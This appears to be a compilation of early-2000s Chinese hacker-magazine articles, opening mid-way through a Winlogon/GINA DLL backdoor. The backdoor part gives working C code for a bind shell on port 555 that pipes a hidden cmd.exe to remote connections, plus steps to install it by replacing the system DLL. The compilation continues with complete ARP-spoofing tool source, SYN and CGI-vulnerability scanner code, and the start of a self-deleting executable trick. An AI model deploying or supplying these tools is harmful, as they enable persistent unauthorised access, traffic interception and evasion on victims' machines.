//调用下层的WlxLoggedOutSAS.

int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid,                  pdwOptions, phToken, pMprNotifyInfo, pProfile );

return ret;

}

//StartInit线程

DWORD  WINAPI StartInit(PVOID  lp)

{

SOCKET sock=NULL;

//建立一个TCP SOCKET

sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);

SOCKADDR_IN addr_in = {0};

addr_in.sin_family = AF_INET;

addr_in.sin_port = htons(555);  //端口号,可以自己改

addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);

//绑定到555端口上

if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR)

    return 1;

//侦听

listen(sock,1);

sockaddr_in sin={0};

int size = sizeof(sin);

while ( TRUE )

{

    //接受一个连接的请求返回一个SOCKET没有请求则一直阻塞

    //在一个连接断开后又返回等待另外的连接

    SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size);            

    if ( recvSock == INVALID_SOCKET ) {

        Sleep(1000);

        continue;

    }

    HANDLE hmutex=CreateMutex(NULL,FALSE,NULL);    //创建互斥对象      

    WaitForSingleObject(hmutex,INFINITE);

    //创建后门

    HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL);

    ReleaseMutex(hmutex);

    CloseHandle(hmutex);

    //等待BackDoor线程结束。

    WaitForSingleObject(hThread,INFINITE);

    bExit = FALSE;

}

return 1;

}

 

//BackDoor线程

DWORD  WINAPI  BackDoor (LPVOID  lp)

{

//可以自己在这里加上一些密码认证等功能

//用来设置管道可被子进程继承

SECURITY_ATTRIBUTES  sa;

sa.bInheritHandle =TRUE;

sa.nLength = sizeof(sa);

sa.lpSecurityDescriptor = NULL;

//创建管道

CreatePipe ( &hSRead, &hStdOut, &sa, 0 );

CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );

STARTUPINFO  StartInfor = {0};

PROCESS_INFORMATION  ProInfor = {0};

//重定向子进程的标准输入输出,为我们刚刚建立好的管道

StartInfor.cb = sizeof ( STARTUPINFO );

StartInfor.wShowWindow = SW_HIDE;

StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;

StartInfor.hStdInput = hStdInput;

//取得CMD的完整路径

TCHAR SysDir[MAX_PATH] = {0};

GetSystemDirectory(SysDir,MAX_PATH);

if ( SysDir[strlen(SysDir)-1] != ‘\\’)

    strcat(SysDir,”\\”);

strcat(SysDir,”cmd.exe”);

HANDLE hmutex=CreateMutex(NULL,FALSE,NULL);    //创建互斥对象      

WaitForSingleObject(hmutex,INFINITE);

//创建CMD子进程

CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);

hProcess = ProInfor.hProcess;

//由于我们不对CMD的出入输出进行操作所以我们可以关闭

CloseHandle(hStdOut);

CloseHandle(hStdInput);

HANDLE  hArray[2] = {0};

//创建一个接收命令线程和一个返回结果的线程

hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);

hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);

ReleaseMutex(hmutex);

CloseHandle(hmutex);

//等待2个线程的结束

WaitForMultipleObjects(2,hArray,TRUE,INFINITE);

closesocket(sock);

return 1;

}

//RecvThread 线程

DWORD  WINAPI  RecvThread ( LPVOID  lp)

{

SOCKET sock = *(SOCKET*)lp;

TCHAR CmdBuf[512] = {0}; //接收命令的Buf

int num = 0;

while ( TRUE )

{

    if ( bExit == TRUE )

        return 1;

    TCHAR Tbuf[2] = {0};

    int ret = recv(sock, Tbuf, 1, 0); //接收一个字符

    if ( ret == 1 )

    {

        num++; //接收的字符记数

        strcat(CmdBuf,Tbuf); //追加到CmdBuf中

        send(sock,Tbuf,1,0);  //回显

        if ( Tbuf[0] == ‘\n’ ) //如接收到回车

        {

            TCHAR buf[5] = {0};

            DWORD A=0;

            //写到管道中供CMD的标准输入读取

            WriteFile(hSWrite,CmdBuf,num,&A,NULL);

            memcpy ( buf, CmdBuf, 4);

            //如果是exit命令设置线程结束标志

            int ret = _stricmp (buf,”exit”);

            if ( ret == 0 )

                bExit = TRUE;

            memset(CmdBuf,0,512);

            num=0;

        }

    }

    else

    {  

        //如果连接中断终止CMD进程

        bExit = TRUE;

        DWORD A=0;

        GetExitCodeProcess(hProcess,&A);

        TerminateProcess(hProcess,A);

    }

}

return 1;

}

//SendThread 线程

DWORD  WINAPI  SendThread ( LPVOID  lp )

{

SOCKET sock = *(SOCKET*)lp;

TCHAR Buf[512]={0};

DWORD ReadSize = 0;

while(TRUE)

{

    if ( bExit == TRUE ) //如果结束标志为真线程返回

        return 1;

    //查看管道是否有数据可读

    PeekNamedPipe(hSRead,Buf,512,&ReadSize,NULL,NULL);

    //有就读取没有就Sleep0.1s再次检查

    if ( ReadSize > 0 )

        ReadFile(hSRead,Buf,512,&ReadSize,NULL);

    else 

    {

        Sleep(100);

        continue;

    }

    //把从管道读出来的数据发给客户端.

    send (sock,Buf,ReadSize,0);

    memset(Buf,0,512);

}

return 1;

}

    以上基本上是后门的核心部分了,把全部的15函数都重载完都往下一层调用把编译好的DLL的15个函数都导出。把自己打造的DLL放在系统目录下,载编辑好注册表。后门就安装好了。由于我们是替换的DLL,必须要重起后才能生效。这也是一个不足的地方。删除后门也简单直接把我们添加的键值删除就行了。由于这是替换的系统DLL,请谨慎测试。不然系统就不正常启动啦。

= = = = = = = = = = = = = = = = = = = = = = = =

参考文献: WinLogon登录管理和GINA简介—Bingle

arp 欺骗的技术原理及应用<首发于黑客防线2003年11期>

WriteBy: LionD8

email:   LionD8@126.com

Wesite:   http://liond8.126.com

 

    你知道,数据包在局域网上是怎么传输的吗?是靠什么来传输的吗?也许你会说是靠IP地址,那么你只正确了一半。其实真正在传输过程中是靠计算机的网卡地址即MAC来传输。

    现在我们就用实例来模拟一下传输的全过程。现在有一台计算机A(IP:192.168.85.1   MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100  BB-BB-BB-BB-BB-BB  dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。

    好了在了解了上面基本arp通信过程后,现在来学习arp欺骗技术就好理解多了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200 MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。

    下面给出一些程序实现的基本算法。先来给出ARP首部和请求应答的数据结构。如下:

 

以太网  | 以太网 | 帧  | 硬件 | 协议| 硬件 | 协议 | OP| 发送端   |发送端|目的以太|目的

目的地址| 源地址 | 类型| 类型 | 类型| 长度 | 长度 |   |以太网地址|  IP  |网地址  | IP

  6         6        2    2      2      1     1     2     6         4      6        4

|<—以太网首部—->|<——————-28字节的ARP请求/应答————->|

 

然后我们根据上面的数据结构定义两个结构分别如下:

//定义一个以太网头部

typedef struct ehhdr

{

    UCHAR    eh_dst[6];        /* destination ethernet addrress */

    UCHAR    eh_src[6];        /* source ethernet addresss */

    USHORT   eh_type;          /* ethernet pachet type    */

}EHHEADR, *PEHHEADR;

//28字节的ARP请求/应答

typedef struct arphdr

{

    USHORT    arp_hrd;            /* format of hardware address */

    USHORT    arp_pro;            /* format of protocol address */

    UCHAR     arp_hln;            /* length of hardware address */

    UCHAR     arp_pln;            /* length of protocol address */

    USHORT    arp_op;             /* ARP/RARP operation */

    UCHAR     arp_sha[6];         /* sender hardware address */

    ULONG     arp_spa;            /* sender protocol address */

    UCHAR     arp_tha[6];         /* target hardware address */

    ULONG     arp_tpa;            /* target protocol address */

}ARPHEADR, *PARPHEADR;

//把上面定义的两种结构封装起来

typedef struct arpPacket

{

    EHHEADR    ehhdr;

    ARPHEADR   arphdr;

} ARPPACKET, *PARPPACKET;

那么我们自己打造的ARP结构就完成了,剩下的事情就是把我们打造好的结构按照我们的需求赋上值,然后通过适配器发送出去就OK了。

    比如说我们要用C机,去欺骗A机,更新A的ARP缓存中192.168.85.100(B的IP)的MAC为C机的。

    首先定义一个ARPPACKET结构:

    ARPPACKET  ARPPacket;

    ARPPacket.ehhdr.eh_type=htons(0×0806);  //数据类型ARP请求或应答

       ARPPacket.arphdr.arp_hrd = htons(0×0001); //硬件地址为0×0001表示以太网地址

       ARPPacket.arphdr.arp_pro = htons(0×0800); //协议类型字段为0×0800表示IP地址

    ARPPacket.ehhdr.eh_dst=0xAAAAAAAAAAAA   //A机的MAC

    ARPPacket.ehhdr.eh_src=0xCCCCCCCCCCCC    //C机的源MAC

    ARPPacket.arphdr.arp_hln = 6;                  

       ARPPacket.arphdr.arp_pln = 4;

       ARPPacket.arphdr.arp_op = htons(0×0002);      //ARP应答值为2

    ARPPacket.arphdr.arp_spa = 0xCCCCCCCCCCCC //伪造的MAC,在这里C机用的自己的

    ARPPacket.arphdr.arp_tha = 0xAAAAAAAAAAAA //

    ARPPacket.arphdr.arp_spa =inet_addr(“192.168.85.100″);  //伪造B的IP地址

    ARPPacket.arphdr.arp_tpa = inet_addr(“192.168.85.1″);   //目标A的IP地址

//把要发送的数据保存在一个缓冲区szPacketBuf中,到时候只要把szPacketBuf的数据发送出去就可以了。

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

要发送数据,首先得打开一个适配器,打开一个适配器又需要先获得适配器的名字。如下:

PacketGetAdapterNames((char*)AdapterName, &AdapterLength); //取得所有适配器的名字.

 

LPPACKET lpAdapter =PacketOpenAdapter((LPTSTR) AdapterList[0]); //打开第一块适配器

第一块的下标是从0开始的。返回一个指针,它指向一个正确初始化了的ADAPTER Object

 

lpPacket = PacketAllocatePacket(); //为_PACKET结构分配内存。

PacketInitPacket(lpPacket, szPacketBuf, 60); //packet结构中的buffer设置为传递的szPacketBuf指针

PacketSetNumWrites(lpAdapter, 2); //设置发送次数为2次

//一切就绪发送:

PacketSendPacket(lpAdapter, lpPacket, TRUE); //通过打开的适配器把szPacketBuf的数据发送出去。

PacketFreePacket(lpPacket);         //释放_PACKET结构

PacketCloseAdapter(lpAdapter);      //关闭适配器

然后 在A机上的运行中输入arp -a 会发现原来的 192.168.85.100 BB-BB-BB-BB-BB-BB

变成 192.168.85.100 CC-CC-CC-CC-CC-CC 了。

    另外利用ARP欺骗还可以进行IP冲突,网络执行官就是利用的这个原理,下面只简单介绍一下,如果A机接收到一个ARP应答,其中源IP是192.168.85.1(当然是伪造的),而MAC地址却和A的MAC不同,那么A机就会认为同一个IP对应了两台计算机(因为发现了两个不同的MAC地址)

那么就会出现IP冲突。

CheatARP <desIP> <desMac> <sourceIP> <sourceMac>

比如利用我做的工具:CheatARP 192.168.85.1 AAAAAAAAAAAA 192.168.85.1 BAAAAAAAAAAAA  那么A就会被冲突。

    以上只是代码实现的基本思路和核心代码,有兴趣的朋友可以看看我的源码,源码上也有比较详尽的注释。

 

 

源代码:

/*

ARP 的欺骗的技术原理及应用

请先安装 WinPcap_3_0_a.exe

测试环境2k。

实用平台 NT,2K,XP

*/

#include “stdio.h”

#include “Packet32.h”

#include “wchar.h”

#define EPT_IP 0×0800 /* type: IP */

#define EPT_ARP 0×0806 /* type: ARP */

#define EPT_RARP 0×8035 /* type: RARP */

#define ARP_HARDWARE 0×0001 /* Dummy type for 802.3 frames */

#define ARP_REQUEST 0×0001 /* ARP request */

#define ARP_REPLY 0×0002 /* ARP reply */

#pragma comment(lib, “packet.lib”)

#pragma comment(lib, “ws2_32.lib”)

#pragma pack(push, 1)

//定义一个以太网头部

typedef struct ehhdr

{

UCHAR eh_dst[6]; /* destination ethernet addrress */

UCHAR eh_src[6]; /* source ethernet addresss */

USHORT eh_type; /* ethernet pachet type */

}EHHEADR, *PEHHEADR;

//定义一个28字节的arp应答/请求

typedef struct arphdr

{

USHORT arp_hrd; /* format of hardware address */

USHORT arp_pro; /* format of protocol address */

UCHAR arp_hln; /* length of hardware address */

UCHAR arp_pln; /* length of protocol address */

USHORT arp_op; /* ARP/RARP operation */

UCHAR arp_sha[6]; /* sender hardware address */

ULONG arp_spa; /* sender protocol address */

UCHAR arp_tha[6]; /* target hardware address */

ULONG arp_tpa; /* target protocol address */

}ARPHEADR, *PARPHEADR;

//把上面定义的两种结构封装起来

typedef struct arpPacket

{

EHHEADR ehhdr;

ARPHEADR arphdr;

} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

void Usage();

void ChangeMacAddr(char *p, UCHAR a[]);

void banner();

int main(int argc, char* argv[])

{

static CHAR AdapterList[10][1024];

TCHAR szPacketBuf[512];

UCHAR MacAddr[6];

LPADAPTER lpAdapter;

LPPACKET lpPacket;

WCHAR AdapterName[2048];

WCHAR *temp,*temp1;

ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

DWORD AdapterNum = 0;

DWORD nRetCode, i;

banner();

if(argc!=5)

{

Usage();

return 0;

}

//取得所有适配器的名字.

if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)

{

//AdapterName:一块用户负责分配的缓冲区,将把适配器的名字填充进去,

//一串用一个Unicode的”0″分隔的Unicode字符串,每一个都是一个网卡的名字

//AdapterLength:这块缓冲区的大小

printf(“Unable to retrieve the list of the adapters!”);

return 0;

}

temp = AdapterName;

temp1=AdapterName;

i = 0;

//把AdapterName中的适配器,分个copy到AdapterList[]中,i从0开始为第一个

while ((*temp != ‘0′)||(*(temp-1) != ‘0′))

{

if (*temp == ‘0′)

{

memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));

temp1=temp+1;

i++;

}

temp++;

}

AdapterNum = i;

for (i = 0; i < AdapterNum; i++)

wprintf(L”%d- %s”, i+1, AdapterList[i]);

/* 注意,在这里一定要选择正确的适配器不然会自动重起 */

/* 我机器上的是 */

/* 1- _NdisWanIp */

/* 2- _{02C36709-5318-4861-86DE-A7A81118BFCC} */

/* 选择类似第2项的那种 一定要注意哦! */

printf(“select adapter number:”);

scanf(“%d”,&i); //我是输入的2

if(i>AdapterNum)

{

printf(“Number error!”);

return 0;

}

//打开刚刚选择的那个适配器,AdapterList[i-1]为适配器名字

//如果打开成功,返回一个指针,它指向一个正确初始化了的ADAPTER Object。否则,返回NULL。

lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]);

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

{

nRetCode = GetLastError();

printf(“Unable to open the driver, Error Code : %lx”, nRetCode);

return 0;

}

//为_PACKET结构分配内存。如果执行成功,返回指向_PACKET结构的指针。否则,返回NULL。

lpPacket = PacketAllocatePacket();

if(lpPacket == NULL)

{

printf(“:failed to allocate the LPPACKET structure.”);

return 0;

}

memset(szPacketBuf, 0, sizeof(szPacketBuf)); //初始化szPacketBuf为0

ChangeMacAddr(argv[2], MacAddr); //MAC地址转换

memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //目的MAC地址

ChangeMacAddr(argv[4], MacAddr); //MAC地址转换

memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //源MAC地址。

ARPPacket.ehhdr.eh_type = htons(EPT_ARP); //数据类型ARP请求或应答

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); //硬件地址为0×0001表示以太网地址

ARPPacket.arphdr.arp_pro = htons(EPT_IP); //协议类型字段为0×0800表示IP地址

//硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,

//以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。

ARPPacket.arphdr.arp_hln = 6;

ARPPacket.arphdr.arp_pln = 4;

ARPPacket.arphdr.arp_op = htons(ARP_REPLY); //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4

ChangeMacAddr(argv[4], MacAddr); //MAC地址转换

memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的MAC地址

ARPPacket.arphdr.arp_spa = inet_addr(argv[3]); //伪造的IP地址

ChangeMacAddr(argv[2], MacAddr); //MAC地址转换

memset(ARPPacket.arphdr.arp_tha,0,6); //初始化0

memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标的MAC地址

ARPPacket.arphdr.arp_tpa = inet_addr(argv[1]); //目标的IP地址

//把刚刚自己伪造的ARPPACKET结构复制到szPacketBuf中

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

//初始化一个_PACKET结构,即将packet结构中的buffer设置为传递的szPacketBuf指针。

//lpPacket,指向一个_PACKET结构的指针。

//szPacketBuf,一个指向一块用户分配的缓冲区的指针。

//60,缓冲区的大小。这是一个读操作从driver传递到应用的最大数据量。

PacketInitPacket(lpPacket, szPacketBuf, 60);

//设置发送次数2次

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)

{

printf(“warning: Unable to send more than one packet in a single write!”);

}

//发送刚刚伪造的数据包

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf(“Error sending the packets!”);

return 0;

}

printf (“Send ok!”);

PacketFreePacket(lpPacket); //释放_PACKET结构

PacketCloseAdapter(lpAdapter); //关闭适配器

return 0;

}

void Usage()

{

printf(“CheatARP <DstIP> <DstMAC> <SourceIP> <SourceMAC>”);

printf(“Such as:”);

printf(“CheatARP 192.168.85.1 FFFFFFFFFFFF 192.168.85.129 005056E9D042″);

printf(“CheatARP 192.168.85.1 005056E9D041 192.168.85.129 AAAAAAAAAAAA”);

}

//把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址

void ChangeMacAddr(char *p, UCHAR a[])

{

char* p1=NULL;

int i=0;

int high ,low;

char temp[1];

for (i=0; i<6; i++)

{

p1=p+1;

switch (*p1) //计算低位的16进进制

{

case ‘A’: low=10;

break;

case ‘B’: low=11;

break;

case ‘C’: low=12;

break;

case ‘D’: low=13;

break;

case ‘E’: low=14;

break;

case ‘F’: low=15;

break;

default: temp[0]=*p1;

low=atoi(temp); //如果为数字就直接转变成对应的数值

}

switch (*p) //计算高位的16进制

{

case ‘A’: high=10;

break;

case ‘B’: high=11;

break;

case ‘C’: high=12;

break;

case ‘D’: high=13;

break;

case ‘E’: high=14;

break;

case ‘F’: high=15;

break;

default: temp[0]=*p;

high=atoi(temp); //如果为数字就直接转变成对应的数值

}

p+=2; //指针指向下一个X(高)X(低)字符串

a[i]=high*16+low; //求和得16进制值

}

}

void banner()

{

printf(“Made By LionD8.”);

printf(“www.hackerXfiles.com”);

}

如转载:请说明作者信息,表明首发刊物。

端口和CGI的扫描实现<首发于2003年黑客防线11期>

WriteBy: LionD8

email:   liond8@eyou.com

Website: http://liond8.126.com

 

. DIY一个端口扫描器之-高级技术

端口的扫描技术到现在大致分为两种,一种就是低级传统的扫描器,还有就是高级技术的。今天我们就来讲讲高级技术的原理及其实现在基本代码。

    经过测试我们知道正在LISTEN的端口,如果接收在一个SYN包(就是TCP握手的第一次)那么它就会返回一个SYN|ACK(0×12)包,如果一个关闭的端口接收到SYN包就会返回一个PSH|RST|SYN(0×14)的包并且SYN序列号为0。如果远程主机不存在,那么不返回任何数据包。

    根据上面的分析我们就可以构造一个扫描器了。

    如果我们对目标机器发一个SYN包,如果接收到一个SYN|ACK(0×12)的包我们就知道远程端口是存活的。如果接收到PSH|RST|SYN(0×14)那么就确定那个端口没有开放。

    好的那么我们在发包前就需要建立一个侦听线程来接收返回的数据包,并加一分析。

 

1.定义侦听线程:

DWORD   WINAPI  ListeningFunc(LPVOID lpvoid)

{

 

首先就需要建立一个原始套结字。

    SOCKET rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

 

然后取得本机的IP地址,确定一个端口绑定rawsock。

    struct hostent  *pHostent;

    CHAR    name[100]={0};

    gethostname(name, 100);

    pHostent=gethostbyname(name);

 

把本机IP地址复制到addr_in.sin_addr.S_un.S_addr中。

    memcpy(&addr_in.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);

 

绑定。 

    int ret=bind(rawsock, (struct sockaddr *)&addr_in, sizeof(addr_in));

 

设置SIO_RCVALL 接收所有的数据包

    DWORD lpvBuffer = 1;

    DWORD lpcbBytesReturned = 0;

    WSAIoctl(rawsock, SIO_RCVALL, &lpvBuffer, sizeof(lpvBuffer), NULL, 0, &lpcbBytesReturned, NULL, NULL);

 

然后剩下的就是对数据包的捕获分析了。用一个死循环来不断的捕获接收到的数据包,分析如果是存活端口返回的包就打出来,不是的话就放弃,不做任何处理,继续捕获下一个数据包。

while (TRUE)

{

SOCKADDR_IN from={0};

int  size=sizeof(from);

char RecvBuf[256]={0};

//接收数据包

ret=recvfrom(rawsock,RecvBuf,sizeof(RecvBuf),0,(struct sockaddr*)&from,&size);

char* sourceip=inet_ntoa(* (struct in_addr *)&from.sin_addr);

if(ret!=SOCKET_ERROR)

{

   // 分析数据包

   IPHEADER *lpIPheader;

   lpIPheader=(IPHEADER *)RecvBuf;

   if (lpIPheader->proto==IPPROTO_TCP)

   {

    TCPHEADER *lpTCPheader=(TCPHEADER*)(RecvBuf+sizeof(IPHEADER));

    //判断是不是远程开放端口返回的数据包

    if (lpTCPheader->th_seq != 0 && lpTCPheader->th_flag==0×12)  

    {

        //如果是,就从TCP头中提出端口源端口信息,打印出来。

        printf(“===%s:%d\n”,sourceip,ntohs(lpTCPheader->th_sport));

    }

    }

}

}     // end while

 

}  一上就是我们要建立的侦听分析线程。

 

IPHEADER 和 TCPHEADER的定义分别如下。

typedef struct ip_head      //定义IP首部

{

unsigned char h_verlen;    //4位首部长度,4位IP版本号

unsigned char tos;         //8位服务类型TOS

unsigned short total_len;  //16位总长度(字节)

unsigned short ident;      //16位标识

unsigned short frag_and_flags; //3位标志位(如SYN,ACK,等)

unsigned char ttl;         //8位生存时间 TTL

unsigned char proto;       //8位协议 (如ICMP,TCP等)

unsigned short checksum;   //16位IP首部校验和

unsigned int sourceIP;     //32位源IP地址

unsigned int destIP;       //32位目的IP地址

}IPHEADER;

 

typedef struct tcp_head //定义TCP首部

{

USHORT th_sport;        //16位源端口

USHORT th_dport;        //16位目的端口

unsigned int th_seq;    //32位序列号

unsigned int th_ack;    //32位确认号

unsigned char th_lenres;    //4位首部长度/6位保留字

unsigned char th_flag;  //6位标志位

USHORT th_win;      //16位窗口大小

USHORT th_sum;     //16位校验和

USHORT th_urp;     //16位紧急数据偏移量

}TCPHEADER;

 

侦听搞定了,剩下的问题就是怎么构造SYN包发送了。一般SYN包的发送都是自己构造IP头和TCP头部,然后用一个TCP伪头来计算效验和,一般情况下这样打造的。这样自己造SYN也是可以的,但是我们的程序效率就会大大降低,我们用另外一个高效率方法。怎么才可以发出一个SYN包而不用自己构造呢?知道有个connect()API吗?本来那是用来建立联接用的。它里面就隐藏了TCP的三次握手,如果我们在发出一个SYN包后就关闭套结字,是不是就能起到发一个SYN包的功效了啊?所以就必须设置套结字为非阻塞的。

 

2. 发SYN包的实现如下。

DWORD  WINAPI  scan(LPVOID lp)

{

//lp为自己定义的一个结构地址,用来传递扫描目标的IP地址和端口信息。

//  如下:

//  typedef struct        //定义一个传递IP和端口,信息的结构

//  {

//  ULONG   IP;

//  USHORT  port;

//   }INFOR;

 

SOCKET sock=NULL;

SOCKADDR_IN addr_in={0};

TCHAR      SendBuf[256]={0};

INFOR*     lpInfor=(INFOR*)lp;

int    iErr;

ULONG     ul=1; 

USHORT port=lpInfor->port;

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(port);

addr_in.sin_addr.S_un.S_addr=lpInfor->IP;

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

printf(“Socket Setup Error!\n”);

iErr=ioctlsocket(sock,FIONBIO,(unsigned long*)&ul); //设置sock为非阻塞

connect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in));  //发送SYN包

closesocket(sock);

return 0;

}

 

最主要的侦听和发送线程都完成了,剩下的就只是,怎么提取IP地址和端口然后传给发送函数了

int main(int argc, char* argv[])

{

WSADATA WSAData;

INFOR   infor={0};

ULONG StartIP=0, EndIP=0;

int   number=0;

if ( WSAStartup(MAKEWORD(2,2), &WSAData)!=0 )

{

    printf(“InitWSAStartup Error!\n”);

    return 0;

}

 //创建一个嗅包的线程分析接收到的包。

CreateThread(NULL,0,ListeningFunc,&tempnum,NULL,NULL);

Sleep(500); //等待线程的初始化完成

ULONG StartIP=0, EndIP=0;

StartIP=ntohl(inet_addr(argv[1]));

EndIP  =ntohl(inet_addr(argv[2]));

for ( ; StartIP <= EndIP ; StartIP++)   //从第一个IP到最后一个IP

{

   infor.IP=htonl(StartIP);    

   int   Num=ListNum;       //ListNum为定义的端口列表的长度

   while ( Num– )

   {        

    infor.port=PortList[Num];  //从列表中取得端口值,准备传递给发包函数

    scan(&infor);              //对目标IP,端口发送SYN包.

 

    }

   

 } //end for

Sleep(2000);  //最后等待2s,等最后发出的包返回。

printf(“Scan completely.”);

return 1;

} //主线程返回  程序结束。

 

以上全部代码基本上就是一个扫描器了。根据实际测试上面的这种扫描方法速度是相当快的。

 

. CGI的扫描器

CGI的扫描前提是开放了80(Web服务)才可以利用的。首先我们必须和远程的80端口建立联接。然后通过提交GET请求,再根据返回的信息加以判断的。例如返回的200代表成功,一切正常。404代表无法找到指定位置的资源。403代表资源不可用等。然后我们侦听返回的数据是不是有”HTTP/1.1 200″这样的子串。有代表请求成功,否则请求失败。

大致的实现如下:

int main(int argc, char* argv[])

{

WSADATA WSAData;

FILE* fp=NULL;

fp= fopen(“cgi.lst”,”r”);

//cgi.lst是个CGI漏洞的列表里面的全部是类似”GET /_vti_bin/shtml.exe”这样的。

WSAStartup(MAKEWORD(2,2), &WSAData);

INFOR  infor={0};

// INFOR  结构用来传递CGI信息和IP信息

// 定义如下:

// typedef  struct

// {

//  char sendbuf[100];

//  char IP[20];

// }INFOR;

 

if (argc !=2 ) return 0;

memcpy (infor.IP,argv[1],strlen(argv[1]));

printf(“Scan start…….\n”);

// 从文件中读取要扫描的CGI信息

while ( fgets(infor.sendbuf,100,fp) !=NULL )

{

    HANDLE h=0;

    h=CreateThread(NULL,0,scan,&infor,NULL,NULL);  //创建一个线程扫描

    if ( h == NULL )

    printf(“CreateThread false\n”);

    WaitForSingleObject(h,INFINITE);  //等待一次扫描结束

    memset(infor.sendbuf,0,100);

}  

printf(“Scan completely.\n”);

// end main

scan线程定义如下:

DWORD  WINAPI  scan(LPVOID lp)

{

    SOCKET      sock=NULL;

    SOCKADDR_IN  target={0};

    int   error=0;

    char  buf[256]={0};

    char* p=NULL;

    INFOR* lpInfor =(INFOR*)lp;

    if ( (sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

    {

        printf(“Socket Setup Error!\n”);

        return false;

    }

    target.sin_family=AF_INET;

    target.sin_port=htons(80);

    target.sin_addr.S_un.S_addr=inet_addr(lpInfor->IP);

    error=connect (sock, (struct sockaddr* )&target, sizeof(target)); //连接

    if (error == SOCKET_ERROR)

    {

        printf(“Connect false!\n”);

        return 0;

    }

    send(sock,lpInfor->sendbuf,100,0);  //发送GET请求

    recv(sock,buf,256,0);       //接收返回的信息

    p=strstr(buf,”HTTP/1.1 200″);  //查找返回的信息中有有没有HTTP/1.1 200子串。

    if ( p!=NULL)   //200的意思是一切正常,对GET和POST请求的应答文档跟在后面

    {

        printf(“%s”,lpInfor->sendbuf);  //把扫描到的漏洞打出来

    }

    closesocket(sock);

    return 1;

}

如转载:请说明作者信息,表明首发刊物。

对Gary Nebbet的经典自我删除代码的读后心得

LionD8 随笔 2004-3-14 QQ:10415468

以下是Gary Nebbet的经典源码

#include “windows.h”

void main(int argc, char *argv[])

{

HMODULE module = GetModuleHandle(0);

CHAR buf[MAX_PATH];

GetModuleFileName(module, buf, sizeof(buf));

CloseHandle((HANDLE)4);

__asm

{

lea eax, buf

push 0

push 0

push eax

push ExitProcess

push module

push DeleteFile

push UnmapViewOfFile

ret

}

}

代码的前3排就不说了。从CloseHandle((HANDLE)4)开始讲起。

